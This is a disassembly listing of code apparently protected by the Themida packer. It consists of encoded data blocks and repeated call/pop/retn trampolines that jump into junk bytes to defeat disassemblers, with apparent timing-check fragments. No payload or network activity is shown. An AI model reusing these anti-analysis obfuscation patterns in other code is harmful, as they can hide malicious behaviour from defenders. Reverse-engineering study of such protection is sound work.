		dd 9E850FDBh, 83000000h, 0D508CCBDh, 840F0007h,	5Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 1DC35343h, 9589FF81h
		dd 7D1084Dh, 0A4E9h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0E91A4E4Eh, 13h, 0E4672A0Fh
		dd 9220841Bh, 0CECD578Ah, 0AD5DF18Eh, 0C742E3C0h, 0D508CC85h
		dd 107h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0E9AECF6Ch, 41h, 0CC8BF1BFh, 0CC85C73Ah
		dd 7D508h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 9E3EC353h, 600E182Bh, 8D0Fh, 0BD2B0000h
		dd 7D10669h, 6CBF6661h,	0A99D8DAEh, 6007D125h, 68A0Fh
		dd 0B5890000h, 7D12155h, 1CE98D29h, 816107D1h, 0FFFEFF23h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 67B7C1CDh, 0B5E681EBh
		db 48h,	0CAh, 74h
; ---------------------------------------------------------------------------


loc_5C7227:				; CODE XREF: Themida_:005C7086j
		mov	bx, ds
		push	0
		push	eax
		call	sub_5C7235
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7235	proc near		; CODE XREF: Themida_:005C722Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5C7235	endp

; ---------------------------------------------------------------------------
		mov	al, ds:94390CE9h
		test	[ebx-4185236Dh], cl
		mov	eax, 0F627C7E7h
		retn
; ---------------------------------------------------------------------------
		dw 0F04h
		dd 6384h, 8A0F6000h, 1,	850157F5h, 7D11421h, 95FF6159h
		dd 7D101C5h, 289BD89h, 0F5007D1h, 48Eh,	5E535000h, 2404895Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 68C35747h
		dd 9D8937AEh, 7D117A5h,	0FE9h, 0F8A08800h, 0E3EBAA02h
		dd 24E6CDFFh, 444E1026h, 44AE9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0B05CCCh, 26B96660h
		dd 0B9BD898Dh, 6107D10Ch, 6A70E6h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 312847C3h, 0D130B9B5h
		dd 6071E407h, 6820Fh, 840F0000h, 0
; ---------------------------------------------------------------------------
		mov	bx, dx
		popa
		movzx	ebx, al
		push	0
		push	esi
		call	sub_5C7336
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7336	proc near		; CODE XREF: Themida_:005C732Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5C7336	endp

; ---------------------------------------------------------------------------
		dw 5471h
		dd 8141EEA5h, 5AE681FCh, 0BA62B0BAh, 6,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 19h, 1DC35545h, 0F5C62168h
		dd 0AD9D89D6h, 8B07D114h, 51006AC3h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0BE833E13h
		dd 0A3A72742h, 0B58B7302h, 7D131C5h, 8104E8C1h,	613E22D7h
		dd 0E2F7667Eh, 7B9B58Bh, 0D82B07D1h, 46FFBE66h,	575050F5h
		dd 310F5250h, 5E5E585Ah, 6A241C89h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0F971C350h
		dd 1BEFBF66h, 2001B5FFh, 6A07D1h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 18BEA3C3h, 0FF557983h
		dd 0D1005595h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 85895651h, 7D12D41h, 6A00B05Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 9DBC357h,	8A0CC40Eh, 8B662E81h, 0E870E6F0h
		dd 0Ah,	4770F80Eh, 413F4D39h, 8D899060h, 7D11DEDh, 6A71E45Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0DDE0C356h, 896084D7h, 0D1343D85h, 698D8B07h
		dd 6107D106h, 830F613Ch, 253h, 2B3DBD29h, 0B60F07D1h, 6BAD8h
		dd 0C38B0000h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	92C35646h, 2CB6800Bh, 1FE67653h, 13E9FCh, 77E60000h
		dd 1D814B0Ah, 8BA98004h, 4F231846h, 0BC7F6321h,	4E8C1D3h
		dd 17559D89h, 0BE907D1h, 0DE000000h, 4497FC0Ah,	557BC0D5h
		dd 0F766CBACh, 57006AE2h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0B94FAB25h, 40C05436h
		dd 0FF38B66h, 683h, 11B52B00h, 2B07D108h, 858958D8h, 7D133C1h
		dd 880FD82Bh, 1A7h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 35C35141h, 7B9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 74CE81A2h
		dd 835463EAh, 6A00C1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0B9A2BFC3h, 8B482383h, 0FB8B01B7h
		dd 860FD93Bh, 133h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0EFC35141h, 96A35B72h, 0B70FA421h, 0D98C66F8h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 8BC35545h
		dd 74BF9E31h, 0F65E3170h, 840F04C1h, 0B0h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 8C35343h, 32DB08Dh
		dd 0BD89C046h, 7D12D85h, 1C595FFh, 6A07D1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0FC135C3h
		dd 684h, 0C9958900h, 5B07D122h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0BC35343h, 0FC32B19h, 38Eh
		dd 0F7B70F00h, 8343Dh, 25860F00h, 0F000000h, 582h, 18B4BF00h
		dd 44E90602h, 51000000h, 0EE9h,	43542700h, 3F053DF4h, 262B8CC9h
		dd 5FEF1BADh, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0AE31BBC3h, 8DED703Eh, 5E943h, 0B3660000h
		dd 8BF96735h, 6AD88BC3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0A5DFC352h,	0DE7DD447h
		dd 20E585C7h, 0BB3907D1h, 6A165Fh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 6C83B4C3h, 8BC2ACD6h
		dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0EA8242C3h, 2E1EE9C2h, 0C3B7601Eh, 6290EE81h
		dd 8B615D3Bh, 0D11445BDh, 1BD8107h, 0D007D120h,	0F000007h
		dd 2285h, 0C6CDBE00h, 85FF3EEFh, 7D12001h, 9A92E681h, 0CE91972h
		dd 3E000000h, 9A34841Fh, 0D7DB87A3h, 0FFCED4C2h, 0D12001B5h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 3A114A9Dh, 0FF8C9B3h, 985h, 3840F00h, 0F000000h
		dd 95FFF7BFh, 7D10055h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0B2C35242h, 1BF4111Ch, 0C5B0D5F4h, 8B4090CEh
		dd 0D12A11B5h, 45BD8307h, 7D11Dh, 0CC840Fh, 83F50000h
		dd 0D12E45BDh, 840F0007h, 0BEh,	7E8h, 19B67700h, 31E521F9h
		dd 1B55BD89h, 0FF5E07D1h, 0D11D4595h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0AF6D5582h, 840FC00Bh, 7Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 44C35343h, 0B0C1DC10h, 0D80A5291h
		dd 8651CF81h, 8D8D7AA5h, 7D14D0Ah, 5870Fh, 81660000h, 0B8FC73C7h
		dd 5, 0F598589h, 0B58B07D1h, 7D11E19h, 6AE1FFh,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 4AC47CC3h, 0C294CFB2h, 0DE819663h, 443BCCDBh, 1A7D9D31h
		dd 0BD8307D1h, 7D12B39h, 65840F00h, 0F000006h, 686h, 71BD8B00h
		dd 8107D114h, 4E1B3FEFh, 45BD8334h, 7D12Eh, 646840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0BA59BC3h, 0E9473ACDh, 5, 4530B784h,	0F58D8D9Ch, 8B07D12Bh
		dd 0D12351BDh, 8401C707h, 8944B27Ch, 0D103A58Dh, 0CB018107h
		dd 0E81499CFh, 8, 0B63E7CA4h, 0DD733DC2h, 0BE9h, 2386FF00h
		dd 0D630F9Dh, 0D4BF5C38h, 0F8C6815Eh, 0C7682451h, 6B340441h
		dd 0EE81CE70h, 68C79438h, 10044181h, 8931D6D7h,	0D12205B5h
		dd 6A006A07h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 2576C355h, 0E5992836h,	8DF98BF9h
		dd 0D12BF585h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0D7A44CADh, 0E8F7BF0Fh
		dd 0Fh,	1CE034FAh, 0B1F70CFFh, 0AA5B9B83h, 8B685F8Ah, 0D10BF5B5h
		dd 0E8905F07h, 10h, 0AB4138D8h,	4BF6804Bh, 5AAE556Dh, 9C5AC7ADh
		dd 3ABE6650h, 505E5F83h, 8B665250h, 0E8310FF1h,	14h, 0E7E0E596h
		dd 7C4E186Bh, 8EEDA308h, 0ADE8D016h, 0F2CEA99Dh, 5EF28B66h
		dd 6A90585Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 39CFC350h, 0B77F2485h,	54503BC5h
		dd 0F5EFEE81h, 95FF0EBFh, 7D12B39h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 9EC35747h, 537C643h, 6800Fh
		dd 0BD8B0000h, 7D113A1h, 2BF58D8Dh, 6A07D1h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0A008D3C3h
		dd 6C3AD078h, 8D8D893Fh, 0C707D125h, 1,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 5297C1ADh, 441C75Fh,	0
; ---------------------------------------------------------------------------
		mov	[ebp+7D12A45h],	ebx
		or	eax, eax
		jz	loc_5C7BC3
		push	0
		push	eax
		call	sub_5C7B3D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7B3D	proc near		; CODE XREF: Themida_:005C7B35p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5C7B3D	endp

; ---------------------------------------------------------------------------
		db 0BEh, 4Ch, 0E9h
		dd 8, 8F1667BCh, 2E874093h, 4D0A8D8Dh, 6A07D1h,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 4EE59CC3h, 292EDC87h, 0D124E5BDh, 5B807h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F8803C3h, 0A82h, 858B6000h,	7D1310Dh, 0FF61FE8Bh, 75B52BE1h
; ---------------------------------------------------------------------------
		sbb	edx, ecx
		pop	es


loc_5C7BC3:				; CODE XREF: Themida_:005C7B2Cj
		lea	ecx, [ebp+7D12BF5h]
		add	di, 724Bh
		mov	dword ptr [ecx], 44AA727Ch
		add	dword ptr [ecx], 1499CFCBh
		push	0
		push	ecx
		call	sub_5C7BE5
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7BE5	proc near		; CODE XREF: Themida_:005C7BDDp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5C7BE5	endp

; ---------------------------------------------------------------------------
		pop	edx
		imul	ebp, ds:22D5B58Bh, -2Fh
		pop	es
		mov	dword ptr [ecx+4], 0CE78753Ch
		push	0
		push	ebx
		call	sub_5C7C10
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7C10	proc near		; CODE XREF: Themida_:005C7C08p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5C7C10	endp

; ---------------------------------------------------------------------------
		aam	0BEh
		test	al, 51h
		mov	ch, 47h
		add	dword ptr [ecx+4], 31D6D710h
		push	0
		push	edi
		call	sub_5C7C38
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7C38	proc near		; CODE XREF: Themida_:005C7C30p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5C7C38	endp

; ---------------------------------------------------------------------------
		dd 32F781E4h, 6A6598C7h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 6E854B6Eh, 5BA3DB3h, 2209BD8Bh
		dd 858D07D1h, 7D12BF5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0B7C35242h, 81D9B563h, 90531F63h, 0F78B6650h
		dd 0FAB70F90h, 0FE1B58Bh, 95FF07D1h, 7D12B39h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0CFC35242h, 0D7816656h
		dd 8D5F4B14h, 0D12BF58Dh, 86DDBE07h, 1C74585h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5C7CF7
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7CF7	proc near		; CODE XREF: Themida_:005C7CEFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5C7CF7	endp

; ---------------------------------------------------------------------------
		db 91h
		dd 9457BB83h, 48AD956Ah, 0CE816665h, 41C7BB3Fh,	4, 0FC00B00h
		dd 8B84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0EA4ABF56h, 8D8D3825h, 7D14D0Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 23C35242h
		dd 337B3676h, 958960EAh, 7D12DB9h, 28CDBD89h, 0F56107D1h
		dd 2331B529h, 5B807D1h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 6601C355h
		dd 0C1BAE681h, 8589E1FFh, 7D115B9h, 2BF58D8Dh, 6A07D1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 1A6DCEC3h, 9213EF13h, 0CE8694Bh, 28000000h, 2569B50h
		dd 0E7E71C68h, 0F502408h, 0C75EFBB7h, 0CA95A501h, 56006A54h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 559EE0E6h, 915EDD91h, 0CFCB0181h, 5E561499h,	690441C7h
		dd 6ACE5F59h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 94CAC353h, 5106EB9Fh, 8B7A0EC7h
		dd 0D12525B5h, 4418107h, 31D6D710h, 6AF88B66h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 9589B9FAh, 7D10209h,	6DBD8B60h, 6607D108h, 8D61C28Bh
		dd 0D12BF585h, 6E05BE07h, 0BF900F39h, 1CA6A894h, 8221BE50h
		dd 0F906E13h, 95FFF6B7h, 7D12B39h, 8DFEB70Fh, 0D12BF58Dh
		dd 1C707h, 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 270AC357h, 0B21461FFh,	22E19501h
		dd 41C707D1h, 4, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0D7D903CEh, 66ED71A0h
		dd 8BAEB6BFh, 0D105CDB5h, 0FC00B07h, 5F84h, 14E800h, 26C80000h
		dd 64ACA07Ch, 0B9962B5Ch, 0BE4C9FDFh, 39203155h, 9E87FC0h
		dd 0F8000000h, 0EFAB8536h, 551348FBh, 18999D89h, 5E5E07D1h
		dd 4D0A8D8Dh, 958907D1h, 7D10715h, 5B8h, 6AE1FF00h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0BE17C356h, 0E0E9CA03h, 66FFFFF0h, 0C18BF98Bh, 99EE8166h
		dd 6DBD8BA4h, 0EB07D12Bh, 4, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0E210CA74h
		dd 0AF41D4BBh, 0D781DD58h, 5E1BF07Dh, 6820Fh, 8D890000h
		dd 7D10099h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	74C35747h, 61858DA6h, 6607D113h, 90F8F18Bh, 8E95150h
		dd 0BE000000h, 0A3A72742h, 5E387302h, 9BD2390h,	6A07D100h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 7CB2993Fh, 0B9F20C8Ch, 0C59BD8Bh, 0B58907D1h
		dd 7D120D1h, 8E0F006Ah,	3, 8DF1B70Fh, 0D51B4C85h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 4F6DF597h, 0B58B944Bh, 7D13415h, 3295BD8Bh, 0C08307D1h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0A126678Ch, 1DD9B589h, 91BF07D1h, 0BF409C3Fh
		dd 66CA8DE1h, 24048950h, 0FE8h,	0C8A73600h, 3F1C202Eh
		dd 324A4446h, 2D9F0681h, 33559589h, 6A5F07D1h, 0C850F00h
		dd 0F000000h, 68Bh, 81F78100h, 6A6314CFh, 89606000h, 0D10F31BDh
		dd 6E907h, 86750000h, 4C325779h, 7E961h, 8A100000h, 0B563B7ADh
		dd 0BD8B61D9h, 7D103E9h, 1DE195FFh, 0DE807D1h, 28000000h
		dd 0ADB8322Bh, 0AEA15E2Dh, 0DDAE2E2Eh, 0AD85295Fh, 8D07D11Eh
		dd 0D4D5669Dh, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0F2DE624h, 68Fh, 35BD8B00h
		dd 0BF07D12Fh, 0B742864h, 6AD3FFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0FB8B68C3h, 292185FFh
		dd 0BE6607D1h, 0BE9F7B0h, 0E8000008h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7D51B56h
		push	0
		push	ecx
		call	sub_5C81A6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C81A6	proc near		; CODE XREF: Themida_:005C819Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5C81A6	endp

; ---------------------------------------------------------------------------
		mov	ds:31B0AECBh, al
		xchg	eax, ebp
		aad	1Ch
		rol	dword ptr [edi], 1
		cmp	dword ptr [ebp+7D12001h], 7D0h
		jbe	loc_5C82E5
		or	di, 624Eh
		mov	ebx, [ebp+7D133A1h]
		push	0
		push	edx
		call	sub_5C81E6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C81E6	proc near		; CODE XREF: Themida_:005C81DEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5C81E6	endp

; ---------------------------------------------------------------------------
		sbb	al, 74h
		xchg	eax, ebp
		xchg	eax, edi
		or	eax, [bx]
		inc	ebp
		cdq
		fmul	dword ptr [ecx]
		lea	ebp, [ecx+6]
		rol	dword ptr [edi], 1
		and	ebx, 100h
		clc
		mov	edi, ecx
		or	ebx, ebx
		jnz	loc_5C829B
		movsx	esi, bx
		cmp	dword ptr [ebp+7D51957h], 0
		jz	loc_5C8285
		push	0
		push	esi
		call	sub_5C8232
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8232	proc near		; CODE XREF: Themida_:005C822Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5C8232	endp

; ---------------------------------------------------------------------------
		retf	72Ch
; ---------------------------------------------------------------------------
		db 2Ch,	92h, 3Eh
		dd 8B6EE40Ch, 6E9F7h, 895F0000h, 988D6074h, 5DE9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0B93FB571h, 899C5DC6h, 0D118A99Dh
; ---------------------------------------------------------------------------
		pop	es


loc_5C8285:				; CODE XREF: Themida_:005C8221j
		mov	dword ptr [ebp+7D51957h], 1
		mov	si, 4F28h
		jmp	loc_5C82BA
; ---------------------------------------------------------------------------
		movzx	edi, cx


loc_5C829B:				; CODE XREF: Themida_:005C8211j
		mov	dword ptr [ebp+7D51957h], 0
		push	esi
		jmp	loc_5C82B4
; ---------------------------------------------------------------------------
		db 0B5h
		dd 3F925FF4h, 54A913BCh
; ---------------------------------------------------------------------------


loc_5C82B4:				; CODE XREF: Themida_:005C82A6j
		pop	edi
		and	si, 28BCh


loc_5C82BA:				; CODE XREF: Themida_:005C8293j
		lea	ebx, [ebp+7D133A1h]
		call	sub_5C82D8
		out	dx, eax
		adc	al, 0D0h
		xchg	ch, [esi+2Eh]
		out	dx, al
		hlt
; ---------------------------------------------------------------------------
		db 3Eh,	7Eh, 78h
		dd 4C33850Eh, 122ECA72h

; =============== S U B	R O U T	I N E =======================================



sub_5C82D8	proc near		; CODE XREF: Themida_:005C82C0p
		mov	esi, [ebp+7D10C29h]
		pop	esi
		and	dword ptr [ebx], 0FFFFFEFFh


loc_5C82E5:				; CODE XREF: Themida_:005C81CAj
		mov	bx, ds
		push	0
		push	edi
		call	sub_5C82F3
		and	[edi-3Dh], bl
sub_5C82D8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5C82F3	proc near		; CODE XREF: sub_5C82D8+13p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5C82F3	endp

; ---------------------------------------------------------------------------
		push	edx
		jmp	loc_5C8319
; ---------------------------------------------------------------------------
		db 0E4h, 6Fh, 2Dh
		dd 0BA646298h, 7DA318C6h, 0B6D26F43h
; ---------------------------------------------------------------------------
		dec	esi


loc_5C8319:				; CODE XREF: Themida_:005C8304j
		mov	di, 0E78h
		test	bl, 4
		jz	loc_5C83A2
		push	0
		push	edx
		call	sub_5C8331
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8331	proc near		; CODE XREF: Themida_:005C8329p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5C8331	endp

; ---------------------------------------------------------------------------
		db 38h,	21h, 76h
; ---------------------------------------------------------------------------
		jmp	loc_5C8358
; ---------------------------------------------------------------------------
		db 8Ch,	0F2h, 39h
; ---------------------------------------------------------------------------
		sub	bh, 0A8h
		cmp	dl, [edi+ecx*2-7578E3F8h]
		or	ah, al


loc_5C8358:				; CODE XREF: Themida_:005C8344j
		jmp	loc_5C8371
; ---------------------------------------------------------------------------
		db 0F9h, 0AFh, 80h
		dd 0D15F096Ah, 0ADC59948h, 0C32B5778h, 2942A032h
		db 0D4h
; ---------------------------------------------------------------------------


loc_5C8371:				; CODE XREF: Themida_:loc_5C8358j
		call	dword ptr [ebp+7D101C5h]
		push	0
		push	edx
		call	sub_5C8382
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8382	proc near		; CODE XREF: Themida_:005C837Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5C8382	endp

; ---------------------------------------------------------------------------
		dw 769Ah
; ---------------------------------------------------------------------------
		pop	ds
		dec	esp
		db	3Eh
		push	es
		push	eax
		mov	[esp], eax
		add	[ebp+7D113E5h],	edi


loc_5C83A2:				; CODE XREF: Themida_:005C8320j
		jmp	loc_5C8789
; ---------------------------------------------------------------------------
		db 0B0h
		dd 0DCBF6600h, 23BF6694h, 6A70E6D9h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 6AD7C356h
		dd 9EB87DF6h, 6A71E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 903A1CC3h, 0F3A00965h, 899A9D24h
		dd 0D11F898Dh, 0D8B60F07h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0FDC35141h, 31CF959Ch, 8BF2BF0Fh, 0D11C41BDh
		dd 6BA07h, 8D890000h, 7D11C69h,	1ED1B58Bh, 0C38B07D1h
		dd 2690E781h, 0E8C10943h, 0D1BD0304h, 6607D121h, 6AE2F7h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8D0F92C3h, 6, 2D8DF781h, 81664ADDh, 2B2E7FDEh, 0DBD8BD8h
		dd 9307D123h, 52505250h, 310F5F52h, 585A5E56h, 11E9310Fh
		dd 0FB000000h, 0FA312F67h, 2C75A799h, 8E5C5918h, 30DA8AB7h
		dd 5150585Ah, 8E8h, 11B30200h, 0EFB47661h, 5EFA8B6Ah, 0BD03935Fh
		dd 7D119B1h, 8A6BF66h, 2001B5FFh, 6A07D1h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 2B6499C3h
		dd 3710A5DEh, 0AE81Fh, 3A5C0000h, 0F1994CD0h, 0CCBC4AF6h
		dd 289DB58Bh, 0FF5F07D1h, 0D1005595h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 16C5488Dh, 0F08B661Dh, 6A00B0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 48E7A7C3h, 56BB54DFh
		dd 0FC8211E2h, 0DE870E6h, 0FC000000h, 8DD14A5Dh, 14DD77FFh
		dd 6A40004Eh, 6E952h, 9C270000h, 333B5EA7h, 8B665F5Fh
		dd 3371E4F2h, 0D10BF5B5h, 0F613C07h, 1F883h, 0A1850900h
		dd 0F07D103h, 8B66D8B6h, 0CE9FBh, 3FA50000h, 426C8F29h
		dd 0CCC53EFDh, 6BA710Eh, 8B000000h, 6D9D29C3h, 8B07D12Dh
		dd 0D10F51BDh, 4E8C107h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 96C35141h, 5CCF0A63h,	5D6A7A4h, 0ADB589DAh
		dd 6607D11Fh, 0BF0FE2F7h, 0FD82BF3h, 2B58FEBFh,	86880FD8h
		dd 6A000001h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0C5CAC357h, 8B36C690h,	8E0F6495h
		dd 18h,	0CE8h, 0DDCB00h, 2BC1F979h, 0ED2ADD05h,	99BD0BAFh
		dd 5F07D121h, 771BD89h,	7B907D1h, 66000000h, 0C183FB8Bh
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0C636CBAAh, 29C0DE8Ch, 0D1332185h, 0FBE6607h
		dd 0FD93BD0h, 10086h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 2453BA7Bh, 257C56BFh
		dd 618D0932h, 6607D12Eh, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0B589F8C3h, 7D12179h
		dd 0F04C1F6h, 0A684h, 65B53300h, 0FF07D116h, 0D101C595h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
